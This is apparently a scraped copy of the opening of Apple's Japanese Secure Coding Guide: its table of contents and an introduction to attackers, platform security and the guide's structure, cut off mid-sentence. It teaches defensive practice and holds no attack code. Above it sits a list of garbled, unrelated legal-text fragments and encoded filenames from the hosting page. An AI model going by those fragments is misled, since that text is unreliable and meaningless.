セキュアコーディングガイド (TP40002415 0.0.0)



Similar documents
Microsoft Word - 不正アクセス行為の禁止等に関する法律等に基づく公安

為 が 行 われるおそれがある 場 合 に 都 道 府 県 公 安 委 員 会 がその 指 定 暴 力 団 等 を 特 定 抗 争 指 定 暴 力 団 等 として 指 定 し その 所 属 する 指 定 暴 力 団 員 が 警 戒 区 域 内 において 暴 力 団 の 事 務 所 を 新 たに 設

労働時間と休日は、労働条件のもっとも基本的なものの一つです

は 固 定 流 動 及 び 繰 延 に 区 分 することとし 減 価 償 却 を 行 うべき 固 定 の 取 得 又 は 改 良 に 充 てるための 補 助 金 等 の 交 付 を 受 けた 場 合 にお いては その 交 付 を 受 けた 金 額 に 相 当 する 額 を 長 期 前 受 金 とし

1

<4D F736F F D F93878CA797708F4390B3816A819A95CA8B4C976C8EAE91E682538B4C8DDA97E12E646F6378>

( 別 紙 ) 以 下 法 とあるのは 改 正 法 第 5 条 の 規 定 による 改 正 後 の 健 康 保 険 法 を 指 す ( 施 行 期 日 は 平 成 28 年 4 月 1 日 ) 1. 標 準 報 酬 月 額 の 等 級 区 分 の 追 加 について 問 1 法 改 正 により 追 加

<4D F736F F D D3188C091538AC7979D8B4B92F F292B98CF092CA81698A94816A2E646F63>

私立大学等研究設備整備費等補助金(私立大学等

<4D F736F F D E598BC68A8897CD82CC8DC490B68B7982D18E598BC68A8893AE82CC8A C98AD682B782E993C195CA915B C98AEE82C382AD936F985E96C68B9690C582CC93C197E1915B927582CC898492B75F8E96914F955D89BF8F915F2E646F6


養 老 保 険 の 減 額 払 済 保 険 への 変 更 1. 設 例 会 社 が 役 員 を 被 保 険 者 とし 死 亡 保 険 金 及 び 満 期 保 険 金 のいずれも 会 社 を 受 取 人 とする 養 老 保 険 に 加 入 してい る 場 合 を 解 説 します 資 金 繰 りの 都

<4D F736F F D208E52979C8CA78E598BC68F5790CF91A390698F9590AC8BE08CF D6A2E646F6378>

●電力自由化推進法案

PowerPoint プレゼンテーション

1 変更の許可等(都市計画法第35条の2)

定款  変更

(別紙3)保険会社向けの総合的な監督指針の一部を改正する(案)

ていることから それに 先 行 する 形 で 下 請 業 者 についても 対 策 を 講 じることとしまし た 本 県 としましては それまでの 間 に 未 加 入 の 建 設 業 者 に 加 入 していただきますよう 28 年 4 月 から 実 施 することとしました 問 6 公 共 工 事 の

<4D F736F F D203193FA8AD45F95CA8E86325F89898F4B315F94F093EF8AA98D AD97DF914F82CC8FEE95F182CC8EFB8F C28E8B89BB2E646F63>

預 金 を 確 保 しつつ 資 金 調 達 手 段 も 確 保 する 収 益 性 を 示 す 指 標 として 営 業 利 益 率 を 採 用 し 営 業 利 益 率 の 目 安 となる 数 値 を 公 表 する 株 主 の 皆 様 への 還 元 については 持 続 的 な 成 長 による 配 当 可

<4D F736F F D208ED089EF95DB8CAF89C193FC8FF38BB CC8EC091D492B28DB88C8B89CA82C982C282A282C42E646F63>

中 間 利 払 日 とし 預 入 日 または 前 回 の 中 間 利 払 日 からその 中 間 利 払 日 の 前 日 までの 日 数 および 通 帳 または 証 書 記 載 の 中 間 利 払 利 率 によって 計 算 した 中 間 利 払 額 ( 以 下 中 間 払 利 息 といいます )を 利

Ⅰ 調 査 の 概 要 1 目 的 義 務 教 育 の 機 会 均 等 その 水 準 の 維 持 向 上 の 観 点 から 的 な 児 童 生 徒 の 学 力 や 学 習 状 況 を 把 握 分 析 し 教 育 施 策 の 成 果 課 題 を 検 証 し その 改 善 を 図 るもに 学 校 におけ


する 婦 人 相 談 所 その 他 適 切 な 施 設 による 支 援 の 明 記 禁 止 命 令 等 をすることが できる 公 安 委 員 会 等 の 拡 大 等 の 措 置 が 講 じられたものである 第 2 改 正 法 の 概 要 1 電 子 メールを 送 信 する 行 為 の 規 制 ( 法

Microsoft Word 第1章 定款.doc

<4D F736F F F696E74202D2082C882E982D982C DD8ED88EE688F882CC82B582AD82DD C668DDA9770>

1. 前 払 式 支 払 手 段 サーバ 型 の 前 払 式 支 払 手 段 に 関 する 利 用 者 保 護 等 発 行 者 があらかじめ 利 用 者 から 資 金 を 受 け 取 り 財 サービスを 受 ける 際 の 支 払 手 段 として 前 払 式 支 払 手 段 が 発 行 される 場 合

疑わしい取引の参考事例

検 討 検 討 の 進 め 方 検 討 状 況 簡 易 収 支 の 世 帯 からサンプリング 世 帯 名 作 成 事 務 の 廃 止 4 5 必 要 な 世 帯 数 の 確 保 が 可 能 か 簡 易 収 支 を 実 施 している 民 間 事 業 者 との 連 絡 等 に 伴 う 事 務 の 複 雑

スライド 1

[2] 控 除 限 度 額 繰 越 欠 損 金 を 有 する 法 人 において 欠 損 金 発 生 事 業 年 度 の 翌 事 業 年 度 以 後 の 欠 損 金 の 繰 越 控 除 にあ たっては 平 成 27 年 度 税 制 改 正 により 次 ページ 以 降 で 解 説 する の 特 例 (

Taro-2220(修正).jtd

リング 不 能 な 将 来 減 算 一 時 差 異 に 係 る 繰 延 税 金 資 産 について 回 収 可 能 性 がないも のとする 原 則 的 な 取 扱 いに 対 して スケジューリング 不 能 な 将 来 減 算 一 時 差 異 を 回 収 できることを 反 証 できる 場 合 に 原 則


( 運 用 制 限 ) 第 5 条 労 働 基 準 局 は 本 システムの 維 持 補 修 の 必 要 があるとき 天 災 地 変 その 他 の 事 由 によりシステムに 障 害 又 は 遅 延 の 生 じたとき その 他 理 由 の 如 何 を 問 わず その 裁 量 により システム 利 用 者

<4D F736F F D208E9197BF A955B895E93AE82CC8B4B90A C982C282A282C42E646F6378>

<4D F736F F D2091E F18CB48D C481698E7B90DD8F9590AC89DB816A2E646F63>

Microsoft PowerPoint - 報告書(概要).ppt

< 目 次 > 8. 雇 用 保 険 高 年 齢 雇 用 継 続 給 付 27 ( 育 児 休 業 給 付 介 護 休 業 給 付 ) 8.1 高 年 齢 雇 用 継 続 給 付 画 面 のマイナンバー 設 定 高 年 齢 雇 用 継 続 給 付 の 電 子 申 請 高

入 札 参 加 者 は 入 札 の 執 行 完 了 に 至 るまではいつでも 入 札 を 辞 退 することができ これを 理 由 として 以 降 の 指 名 等 において 不 利 益 な 取 扱 いを 受 けることはない 12 入 札 保 証 金 免 除 13 契 約 保 証 金 免 除 14 入

通 知 カード と 個 人 番 号 カード の 違 い 2 通 知 カード ( 紙 )/H27.10 個 人 番 号 カード (ICカード)/H28.1 様 式 (おもて) (うら) 作 成 交 付 主 な 記 載 事 項 全 国 ( 外 国 人 含 む)に 郵 送 で 配 布 希 望 者 に 交

Taro-データ公安委員会相互協力事

Microsoft Word - ★HP版平成27年度検査の結果

PowerPoint プレゼンテーション

1 書 誌 作 成 機 能 (NACSIS-CAT)の 軽 量 化 合 理 化 電 子 情 報 資 源 への 適 切 な 対 応 のための 資 源 ( 人 的 資 源,システム 資 源, 経 費 を 含 む) の 確 保 のために, 書 誌 作 成 と 書 誌 管 理 作 業 の 軽 量 化 を 図


質 問 票 ( 様 式 3) 質 問 番 号 62-1 質 問 内 容 鑑 定 評 価 依 頼 先 は 千 葉 県 などは 入 札 制 度 にしているが 神 奈 川 県 は 入 札 なのか?または 随 契 なのか?その 理 由 は? 地 価 調 査 業 務 は 単 にそれぞれの 地 点 の 鑑 定

スライド 1

事 業 税 の 外 形 標 準 課 税 事 業 税 は 都 道 府 県 が 所 得 ( 利 益 )に 対 して 課 税 します 1. 個 人 事 業 税 業 種 区 分 税 率 ( 標 準 税 率 ) 第 1 種 事 業 ( 物 品 販 売 業 製 造 業 金 銭 貸 付 業 飲 食 店 業 不 動

小 売 電 気 の 登 録 数 の 推 移 昨 年 8 月 の 前 登 録 申 請 の 受 付 開 始 以 降 小 売 電 気 の 登 録 申 請 は 着 実 に 増 加 しており これまでに310 件 を 登 録 (6 月 30 日 時 点 ) 本 年 4 月 の 全 面 自 由 化 以 降 申

いう )は 警 告 をしたときは 速 やかに その 内 容 及 び 日 時 を 当 該 警 告 を 求 める 旨 の 申 出 をした 者 に 通 知 しなければならないこととされ また 警 告 をし なかったときは 速 やかに その 旨 及 び 理 由 を 当 該 警 告 を 求 める 旨 の 申

< F2D8ED089EF95DB8CAF939996A289C193FC91CE8DF42E6A7464>

目 次 1. 積 算 内 訳 書 に 関 する 留 意 事 項 1 ページ 2. 積 算 内 訳 書 のダウンロード 3 ページ 3. 積 算 内 訳 書 の 作 成 (Excel 2003の 場 合 ) 6 ページ 4. 積 算 内 訳 書 の 作 成 (Excel 2007の 場 合 ) 13

を 行 わなければならない 適 正 な 運 用 方 針 を 厳 格 に 運 用 することによっては じめて 人 がみだりにその 容 ぼう 等 を 撮 影 されない 自 由 や 権 利 の 保 護 と 犯 罪 発 生 の 抑 止 という 防 犯 カメラの 設 置 目 的 との 調 和 が 実 現 され

答申第585号

二 資本金の管理

Microsoft PowerPoint 資料6 技術基準.ppt [互換モード]

2 県 公 立 高 校 の 合 格 者 は このように 決 まる (1) 選 抜 の 仕 組 み 選 抜 の 資 料 選 抜 の 資 料 は 主 に 下 記 の3つがあり 全 高 校 で 使 用 する 共 通 の ものと 高 校 ごとに 決 めるものとがあります 1 学 力 検 査 ( 国 語 数

2. 会 計 規 程 の 業 務 (1) 規 程 と 実 際 の 業 務 の 調 査 規 程 や 運 用 方 針 に 規 定 されている 業 務 ( 帳 票 )が 実 際 に 行 われているか( 作 成 されている か)どうかについて 調 べてみた 以 下 の 表 は 規 程 の 条 項 とそこに

財団法人山梨社会保険協会寄付行為

要 な 指 示 をさせることができる ( 検 査 ) 第 8 条 甲 は 乙 の 業 務 にかかる 契 約 履 行 状 況 について 作 業 完 了 後 10 日 以 内 に 検 査 を 行 うものとする ( 発 生 した 著 作 権 等 の 帰 属 ) 第 9 条 業 務 によって 甲 が 乙 に

独立行政法人国立病院機構

・モニター広告運営事業仕様書

<4D F736F F D C482C682EA817A89BA90BF8E7793B1834B A4F8D91906C8DDE8A A>

Microsoft Word 役員選挙規程.doc

高松市緊急輸送道路沿道建築物耐震改修等事業補助金交付要綱(案)

<4D F736F F D208CF689768ED C8FE395FB978E8CEA8BA689EF814592E88ABC2E646F63>

続 に 基 づく 一 般 競 争 ( 指 名 競 争 ) 参 加 資 格 の 再 認 定 を 受 けていること ) c) 会 社 更 生 法 に 基 づき 更 生 手 続 開 始 の 申 立 てがなされている 者 又 は 民 事 再 生 法 に 基 づき 再 生 手 続 開 始 の 申 立 てがなさ

注 記 事 項 (1) 当 四 半 期 連 結 累 計 期 間 における 重 要 な 子 会 社 の 異 動 : 無 (2) 四 半 期 連 結 財 務 諸 表 の 作 成 に 特 有 の 会 計 処 理 の 適 用 : 有 ( 注 ) 詳 細 は 添 付 資 料 4ページ 2.サマリー 情 報 (

2.JADA 検 査 対 象 者 登 録 リストへの 登 録 除 外 引 退 復 帰 2.1 JADA 検 査 対 象 者 登 録 リストへの 登 録 及 び 除 外 は 原 則 として 以 下 に 示 す 対 応 によりおこな うものとする 登 録 国 内 競 技 連 盟 からの 登 録 申 請

別 紙 第 号 高 知 県 立 学 校 授 業 料 等 徴 収 条 例 の 一 部 を 改 正 する 条 例 議 案 高 知 県 立 学 校 授 業 料 等 徴 収 条 例 の 一 部 を 改 正 する 条 例 を 次 のように 定 める 平 成 26 年 2 月 日 提 出 高 知 県 知 事 尾

財政再計算結果_色変更.indd

Speed突破!Premium問題集 基本書サンプル

Ⅰ 元 請 負 人 を 社 会 保 険 等 加 入 建 設 業 者 に 限 定 平 成 28 年 10 月 1 日 以 降 に 入 札 公 告 指 名 通 知 随 意 契 約 のための 見 積 依 頼 を 行 う 工 事 から 以 下 に 定 める 届 出 の 義 務 ( 以 下 届 出 義 務 と

の 購 入 費 又 は 賃 借 料 (2) 専 用 ポール 等 機 器 の 設 置 工 事 費 (3) ケーブル 設 置 工 事 費 (4) 防 犯 カメラの 設 置 を 示 す 看 板 等 の 設 置 費 (5) その 他 設 置 に 必 要 な 経 費 ( 補 助 金 の 額 ) 第 6 条 補

Taro-H19退職金(修正版).jtd

S16-386・ソフトウェアの調達に関する入札実施の件

参 考 様 式 再 就 者 から 依 頼 等 を 受 けた 場 合 の 届 出 公 平 委 員 会 委 員 長 様 年 月 日 地 方 公 務 員 法 ( 昭 和 25 年 法 律 第 261 号 ) 第 38 条 の2 第 7 項 規 定 に 基 づき 下 記 のとおり 届 出 を します この

慶應義塾利益相反対処規程

1_2013BS(0414)

<947A957A8E9197BF C E786C73>

任意整理について | 多重債務Q&A | 公益財団法人 日本クレジットカウンセリング協会

2 役 員 の 報 酬 等 の 支 給 状 況 役 名 法 人 の 長 理 事 理 事 ( 非 常 勤 ) 平 成 25 年 度 年 間 報 酬 等 の 総 額 就 任 退 任 の 状 況 報 酬 ( 給 与 ) 賞 与 その 他 ( 内 容 ) 就 任 退 任 16,936 10,654 4,36

学校教育法等の一部を改正する法律の施行に伴う文部科学省関係省令の整備に関する省令等について(通知)

1 林 地 台 帳 整 備 マニュアル( 案 )について 林 地 台 帳 整 備 マニュアル( 案 )の 構 成 構 成 記 載 内 容 第 1 章 はじめに 本 マニュアルの 目 的 記 載 内 容 について 説 明 しています 第 2 章 第 3 章 第 4 章 第 5 章 第 6 章 林 地

平成21年9月29日

Q10 適 用 年 度 の 前 事 業 年 度 末 日 に 雇 用 者 がいない 場 合 には 雇 用 増 加 割 合 が 算 出 できないため 適 用 年 度 において 雇 用 促 進 税 制 の 適 用 を 受 けることはできな いのか Q11 新 設 法 人 や 新 たに 事 業 を 開 始

しかし 主 に 欧 州 の 一 部 の 回 答 者 は 受 託 責 任 について 資 源 配 分 の 意 思 決 定 の 有 用 性 とは 独 立 の 財 務 報 告 の 目 的 とすべきであると 回 答 した 本 ED に 対 する ASBJ のコメント レターにおける 意 見 経 営 者 の 受

福 山 市 では, 福 山 市 民 の 安 全 に 関 する 条 例 ( 平 成 10 年 条 例 第 12 号 )に 基 づき, 安 全 で 住 みよい 地 域 社 会 の 形 成 を 推 進 しています また, 各 地 域 では, 防 犯 を 始 め 様 々な 安 心 安 全 活 動 に 熱 心

(現行版)工事成績書と評定表をあわせた_docx

根 本 確 根 本 確 民 主 率 運 民 主 率 運 確 施 保 障 確 施 保 障 自 治 本 旨 現 資 自 治 本 旨 現 資 挙 管 挙 管 代 表 監 査 教 育 代 表 監 査 教 育 警 視 総 監 道 府 県 警 察 本 部 市 町 村 警 視 総 監 道 府 県 警 察 本 部

01_07_01 データのインポート_エクスポート_1

<4D F736F F D F8D828D5A939982CC8EF68BC697BF96B38F9E89BB82CC8A6791E52E646F63>

(5) 給 与 制 度 の 総 合 的 見 直 しの 実 施 状 況 について 概 要 の 給 与 制 度 の 総 合 的 見 直 しにおいては 俸 給 表 の 水 準 の 平 均 2の 引 き 下 げ 及 び 地 域 手 当 の 支 給 割 合 の 見 直 し 等 に 取 り 組 むとされている

<4D F736F F D20D8BDB8CFC8BCDED2DDC482A882E682D1BADDCCDFD7B2B1DDBD8B4B92F E646F63>

<4D F736F F D A94BD837D836C B4B92F62E646F6378>

弁護士報酬規定(抜粋)

(4) 運 転 する 学 校 職 員 が 交 通 事 故 を 起 こし 若 しくは 交 通 法 規 に 違 反 したことにより 刑 法 ( 明 治 40 年 法 律 第 45 号 ) 若 しくは 道 路 交 通 法 に 基 づく 刑 罰 を 科 せられてから1 年 を 経 過 していない 場 合 同

Transcription:

セキュア コーディング ガイド

目 次 セキュリティに 配 慮 したコーディングのための 指 針 7 はじめに 7 ハッカ クラッカ 攻 撃 者 7 安 全 なプラットフォームはない 8 この 文 書 の 使 い 方 9 関 連 項 目 10 脆 弱 性 の 類 型 11 バッファオーバーフロー 11 入 力 の 検 証 漏 れ 12 競 合 状 態 13 プロセス 間 通 信 13 危 険 なファイル 操 作 13 アクセス 制 御 に 関 する 問 題 14 安 全 なストレージと 暗 号 化 15 ソーシャルエンジニアリング 16 バッファのオーバーフローやアンダーフローの 回 避 18 スタックオーバーフロー 19 ヒープオーバーフロー 21 文 字 列 の 操 作 23 バッファ 長 の 計 算 25 整 数 のオーバーフロー/アンダーフローの 回 避 27 バッファオーバーフローの 検 出 29 バッファアンダーフローの 回 避 30 有 用 なセキュリティ 機 能 33 アドレス 空 間 レイアウトのランダム 化 33 実 行 不 可 能 なスタック/ヒープ 33 ヒープが 破 損 する 状 況 のデバッグ 34 入 力 の 検 証 とプロセス 間 通 信 35 入 力 の 検 証 を 怠 ったために 起 こりうる 危 険 35 バッファオーバーフローの 引 き 金 35 書 式 文 字 列 攻 撃 36 2

目 次 URLやファイルの 操 作 38 インジェクション 攻 撃 39 ソーシャルエンジニアリング 40 アーカイブ 済 みデータの 改 竄 40 ファジング(Fuzzing) 42 プロセス 間 通 信 とネットワーク 処 理 43 競 合 状 態 と 安 全 なファイル 操 作 46 競 合 状 態 の 回 避 46 検 査 と 実 行 の 時 間 差 46 シグナル 処 理 49 シグナルハンドラの 安 全 な 使 い 方 49 ファイル 操 作 の 安 全 性 確 保 50 結 果 コードの 確 認 50 ハードリンクに 関 する 注 意 点 51 シンボリックリンクに 関 する 注 意 点 51 ファイルシステムにおける 大 文 字 と 小 文 字 の 区 別 とセキュリティモデルに 対 する 悪 影 響 52 一 時 ファイルの 適 切 な 生 成 53 誰 でも 書 き 出 し 可 能 なディレクトリに 置 いたファイルの 危 険 性 について 54 その 他 のヒント 60 安 全 な 権 限 昇 格 62 昇 格 した 権 限 を 要 する 状 況 62 危 険 がある 環 境 と 最 小 権 限 の 原 則 63 新 規 プロセスの 起 動 64 コマンドライン 引 数 の 操 作 64 ファイル 記 述 子 の 継 承 65 環 境 変 数 の 悪 用 65 プロセス 制 限 の 改 変 66 ファイル 操 作 に 対 する 干 渉 66 権 限 昇 格 の 回 避 66 昇 格 した 権 限 での 実 行 67 特 権 レベルを 変 更 する 関 数 67 特 権 プロセスのフォークの 回 避 69 authopen 69 launchd 69 他 の 機 構 の 制 限 と 危 険 71 特 権 ヘルパの 作 成 72 例 : 事 前 認 可 73 ヘルパツールに 関 する 警 告 75 3

目 次 認 可 (Authorization)と 信 頼 (Trust)に 関 するポリシー 75 カーネル 拡 張 におけるセキュリティ 76 安 全 なユーザインターフェイスの 設 計 77 デフォルト 設 定 を 安 全 なものにする 77 セキュリティに 関 するユーザの 期 待 に 合 わせること 78 あらゆるインターフェイスの 安 全 性 確 保 79 ファイルの 安 全 な 保 存 場 所 79 セキュリティに 関 する 選 択 肢 の 明 確 化 80 ソーシャルエンジニアリング 攻 撃 への 対 抗 82 セキュリティ 処 理 用 のAPI 83 安 全 なヘルパやデーモンの 設 計 85 アプリケーションサンドボックスの 活 用 85 傀 儡 化 の 回 避 86 ホワイトリストの 利 用 86 抽 象 識 別 子 とデータ 構 造 体 の 利 用 87 マジック 検 査 の 活 用 87 アプリケーションもヘルパも 潜 在 的 に 危 険 があるものとして 扱 うこと 88 デーモンを 専 用 UIDで 実 行 89 他 のプロセスの 安 全 な 起 動 89 インジェクション 攻 撃 やXSSの 回 避 91 インジェクション 攻 撃 の 回 避 91 混 成 データにひそむ 危 険 92 SQLインジェクション 94 Cのコマンド 実 行 とシェルスクリプト 95 URLのエスケープ 処 理 97 HTMLやXMLのエスケープ 処 理 97 クロスサイトスクリプティングの 回 避 98 セキュリティに 関 する 開 発 者 向 けのチェックリスト 99 特 権 の 使 い 方 99 データファイル 設 定 ファイル 一 時 ファイル 101 ネットワークポートの 使 い 方 103 ログの 監 視 105 クライアント-サーバ 認 証 106 整 数 やバッファのオーバーフロー 110 暗 号 処 理 関 数 の 使 い 方 111 インストールとロード 処 理 112 4

目 次 外 部 ツールやライブラリの 利 用 113 カーネルのセキュリティ 115 バンドル 提 供 するソフトウェアのセキュリティに 関 する 考 慮 事 項 117 プライバシーの 尊 重 117 アップグレード 情 報 の 提 供 117 情 報 の 適 切 な 保 存 場 所 117 昇 格 した 権 限 を 要 する 処 理 の 回 避 118 実 装 工 程 で 常 に 安 全 性 に 配 慮 すること 118 セキュリティの 観 点 からのテスト 119 参 考 になる 情 報 源 119 書 類 の 改 訂 履 歴 120 用 語 解 説 121 索 引 124 5

図 表 リスト バッファのオーバーフローやアンダーフローの 回 避 18 図 2-1 スタック 配 置 の 概 念 図 20 図 2-2 バッファオーバーフロー 発 生 後 のスタックの 様 子 21 図 2-3 ヒープオーバーフロー 22 図 2-4 Cの 文 字 列 操 作 関 数 とバッファオーバーフロー 23 図 2-5 バッファオーバーフロー 時 のクラッシュログ 29 表 2-1 使 用 を 避 けるべき 文 字 列 操 作 関 数 とその 代 替 24 表 2-2 バッファ 長 のハードコーディングを 避 ける 例 25 表 2-3 安 全 でない 文 字 列 連 結 を 避 ける 例 26 競 合 状 態 と 安 全 なファイル 操 作 46 表 4-1 使 用 を 避 けるべき 関 数 と それに 代 わる 関 数 58 安 全 な 権 限 昇 格 62 リスト 5-1 非 特 権 プロセス 73 リスト 5-2 特 権 プロセス 74 6

セキュリティに 配 慮 したコーディングのため の 指 針 セキュリティに 配 慮 したコーディング とは 悪 意 ある 人 物 やプログラムによる 攻 撃 に 対 する 耐 性 をもったプログラムを 記 述 する 手 法 のことです ユーザデータの 盗 用 や 破 損 を 防 止 するのが 目 的 で す この 配 慮 がないと 攻 撃 者 がサーバや 各 ユーザのコンピュータを 思 うがままに 制 御 する 結 果 個 々のユーザに 本 来 のサービスを 提 供 できなくなるばかりでなく 数 千 数 万 のユーザに 関 する 機 密 情 報 が 漏 洩 し サービスが 停 止 し システムが 破 壊 される 恐 れがあります セキュリティに 配 慮 したコーディング はあらゆるソフトウェアにとって 重 要 です Mac 用 かiOS 用 か 自 分 だけが 使 うスクリプトか 商 用 のアプリケーションかによらず この 資 料 で 説 明 する 事 項 は 頭 に 入 れておいてください はじめに あらゆるプログラムに 攻 撃 の 標 的 となる 可 能 性 があります 攻 撃 者 はアプリケーションやサーバに ひそむ セキュリティ 上 の 脆 弱 性 を 見 つけようと 試 みます 見 つかれば その 脆 弱 性 を 突 いて 機 密 事 項 を 盗 用 し プログラムやデータを 破 壊 し コンピュータシステムやネットワークを 思 うがままに 制 御 します その 結 果 顧 客 の 情 報 資 産 や 運 営 会 社 の 信 用 は 危 機 に 瀕 することになります セキュリティ 対 策 は 開 発 済 みのソフトウェアに 後 から 施 せるものではありません 段 ボールで 作 った 小 屋 の 扉 に 南 京 錠 を 取 り 付 けても 意 味 がないように セキュリティの 配 慮 なしに 開 発 したツー ルやアプリケーションは 大 幅 に 設 計 し 直 さなければ 安 全 にはならないのです ソフトウェアにはど のような 脅 威 があるか 性 質 を 見 極 めた 上 で 計 画 から 開 発 まで 一 貫 して セキュリティに 配 慮 しな ければなりません この 章 では どのような 種 類 の 脅 威 がありうるか 簡 単 に 説 明 します 次 章 以 降 個 々の 脆 弱 性 について 詳 しく 説 明 し 対 処 法 を 述 べていきます ハッカ クラッカ 攻 撃 者 コンピュータ 業 界 では 一 般 のマスコミと 違 い ハッカ という 言 葉 を 複 雑 なコードやオペレー ティングシステムに 精 通 した 優 れたプログラマという 意 味 で 使 います 必 ずしも 悪 事 を 企 むわけで はありません 脆 弱 性 を 見 つけた 場 合 そのソフトウェアに 携 わる 会 社 や 組 織 に 警 告 して 対 処 でき るよう 支 援 します なかなか 対 処 してもらえない 場 合 などには 脆 弱 性 がある 旨 を 公 表 し あるいは エクスプロイト( 脆 弱 性 の 実 証 コード)を 作 成 公 開 することもあります 7

セキュリティに 配 慮 したコーディングのための 指 針 はじめに 悪 意 ある 者 すなわち プログラムやシステムの 脆 弱 性 を 突 いて 何 かを 破 壊 し あるいは 盗 用 しよ うとする 者 のことは クラッカ 攻 撃 者 あるいは ブラックハット と 呼 びます 多 くの 攻 撃 者 は 高 度 な 技 術 を 備 えておらず 公 開 されているエクスプロイト( 攻 撃 コード)や 既 知 の 攻 撃 手 法 を 真 似 て 使 います 公 開 されているコード(スクリプト)を 使 ってソフトウェアやコンピュータ システムを 攻 撃 する 者 ( 多 くは 年 少 者 )のことを スクリプトキディー といいます 攻 撃 者 は お 金 や 個 人 情 報 などの 機 密 事 項 を 個 人 的 利 益 のために 盗 み 出 そうとして 攻 撃 を 仕 掛 けま す 企 業 の 利 益 のため あるいは 個 人 的 に 利 用 するために 他 社 の 機 密 情 報 を 狙 うこともあります さらに 政 府 機 関 やテロリスト 組 織 が 敵 国 の 情 報 を 奪 おうとするかも 知 れません クラッカの 中 に は 自 分 の 能 力 を 誇 示 するだけのために アプリケーションやオペレーションシステムに 侵 入 する 者 もいます とはいえ その 結 果 多 大 な 損 害 につながることもあるでしょう 攻 撃 は 自 動 化 して 何 度 でも 繰 り 返 すことができるので どんなに 些 細 な 弱 点 でも 狙 われる 恐 れがあります 内 部 関 係 者 の 中 にもシステムの 攻 撃 を 試 みる 者 が 多 数 いるので セキュリティ 設 計 の 際 にきちんと 検 討 する 必 要 があります 悪 意 あるハッカやスクリプトキディーは 遠 隔 アクセスの 仕 組 みを 利 用 する ことが 多 いのに 対 し 内 部 関 係 者 は 攻 撃 対 象 に 物 理 的 にアクセスできるからです ソフトウェア は ネットワーク 経 由 の 攻 撃 コンピュータの 前 に 坐 ってキーボードを 操 作 する 者 の 攻 撃 の どちら も 防 御 しなければなりません ファイアウォールやサーバのパスワードだけでは 対 策 として 不 充 分 な のです 安 全 なプラットフォームはない OS Xは 今 のところ MyDoomウィルスのような 大 規 模 かつ 自 動 化 された 攻 撃 の 餌 食 になったことは ありません これにはいくつか 理 由 があります ひとつは OS XがBSDなどオープンソースのソフト ウェアを 基 盤 としていることです 多 くのハッカが 長 年 にわたり セキュリティ 上 の 脆 弱 性 がないか 目 を 皿 のようにして 調 べ 尽 くしたので 今 ではほとんど 残 っていないのです さらに 経 路 制 御 用 の ネットワークサービスはすべて デフォルト 状 態 では 無 効 です 電 子 メールなど 広 く 利 用 されている インターネットクライアントも オペレーティングシステムに 対 する 特 権 的 なアクセス 権 限 を 与 えら れていないので 他 の 一 般 的 なOSに 比 べ 攻 撃 に 対 する 脆 弱 性 は 少 なくなっています 最 後 に Apple は 積 極 的 に OSやアプリケーションに 脆 弱 性 がないか 調 査 し セキュリティ 更 新 プログラムを 頻 繁 に 公 開 して 誰 もがダウンロードできるようにしています iosはos Xを 基 盤 としており セキュリティ 上 の 特 性 の 多 くも 共 通 です これに 加 え 各 アプリケー ションがアクセス 可 能 なファイルやシステムリソースを 制 限 して より 安 全 性 を 高 めています Mac アプリケーションにも v10.7 以 降 同 様 の 保 護 を 適 用 できるようになりました 以 上 はよい 話 ですが 残 念 ながらアプリケーションもオペレーティングシステムも 常 に 攻 撃 にさら されています ブラックハットのハッカが 毎 日 のように 新 たな 脆 弱 性 を 見 つけ これを 突 くコード を 公 開 しています 犯 罪 者 やスクリプトキディーはこれを 使 って 実 際 に 攻 撃 を 仕 掛 けます セキュ リティ 研 究 者 もさまざまなシステム 上 で 多 くの 脆 弱 性 を 見 つけており これが 悪 用 されれば データ が 破 損 し 機 密 情 報 が 漏 洩 し 他 人 のコンピュータ 上 で 勝 手 にコードを 実 行 される 恐 れがあります 8

セキュリティに 配 慮 したコーディングのための 指 針 この 文 書 の 使 い 方 大 規 模 かつ 広 範 な 攻 撃 を 仕 掛 けられなくても システムに 価 値 ある 情 報 があれば 1 回 侵 入 されるだ けで 経 済 的 その 他 の 損 害 を 被 ることは 充 分 にありえます ウィルスやウォームによる 大 規 模 な 攻 撃 が あればマスコミの 注 目 を 集 めますが 1 台 のコンピュータ 上 のデータが 破 損 するだけでも 多 くのユー ザにとっては 重 大 な 事 態 です したがって ユーザの 安 全 のためにも セキュリティ 上 の 脆 弱 性 を 真 剣 に 受 け 止 め 問 題 が 見 つかっ たら 迅 速 に 対 処 しなければなりません Macintosh/iOS 用 システムの 開 発 者 が この 資 料 をはじめ セ キュリティに 関 する 書 籍 を 充 分 に 咀 嚼 するとともに Macintoshの 各 ユーザが 強 力 なパスワードや 重 要 なデータの 暗 号 化 に 関 する 予 備 知 識 を 備 えていれば OS XやiOSは 安 全 で 信 頼 に 足 るオペレーティ ングシステムであるとの 評 価 が 高 まり この 上 で 動 作 する 製 品 にとっても 恩 恵 があるでしょう この 文 書 の 使 い 方 この 資 料 は 既 に Security Overview を 読 んでいる 方 を 想 定 して 記 述 しています まず 脆 弱 性 の 類 型 (11 ページ)では セキュリティ 上 の 主 な 脆 弱 性 を 類 別 し 性 質 を 簡 単 に 説 明 します それ 以 降 の 章 を 読 み 進 めるための 背 景 知 識 を 与 えるのが 目 的 です たとえば 競 合 状 態 と は 何 か なぜ 危 険 なのか 知 りたければ まずこの 章 に 目 を 通 してください 以 降 の 章 では 脆 弱 性 の 類 型 ごとに さらに 詳 しく 説 明 します どのような 順 序 で 読 んでも 構 いませ んし 開 発 の 際 に 従 うべきチェックリスト( セキュリティに 関 する 開 発 者 向 けのチェックリス ト (99 ページ)を 参 照 )に 沿 って 読 み 進 めてもよいでしょう バッファのオーバーフローやアンダーフローの 回 避 (18 ページ)では バッファオーバーフ ローのさまざまな 類 型 と その 回 避 方 法 を 説 明 します 入 力 の 検 証 とプロセス 間 通 信 (35 ページ)では 信 頼 できない 情 報 源 からの 入 力 を 受 け 付 け る 場 合 に その 内 容 を 検 証 するべき 理 由 や 方 法 を 解 説 します 競 合 状 態 と 安 全 なファイル 操 作 (46 ページ)では 競 合 状 態 が 発 生 する 仕 組 みとその 回 避 方 法 を 説 明 するほか 安 全 な/ 危 険 なファイル 操 作 についても 述 べます 安 全 な 権 限 昇 格 (62 ページ)では 昇 格 した 権 限 にしないでコードを 実 行 する 方 法 と それ が 不 可 能 である 場 合 の 対 処 法 を 説 明 します 安 全 なユーザインターフェイスの 設 計 (77 ページ)では プログラムのユーザインターフェ イスがセキュリティに 及 ぼすよい 影 響 悪 い 影 響 を 説 明 します さらに セキュリティの 改 善 に 結 びつくUIの 開 発 方 法 について いくつか 指 針 を 示 します 安 全 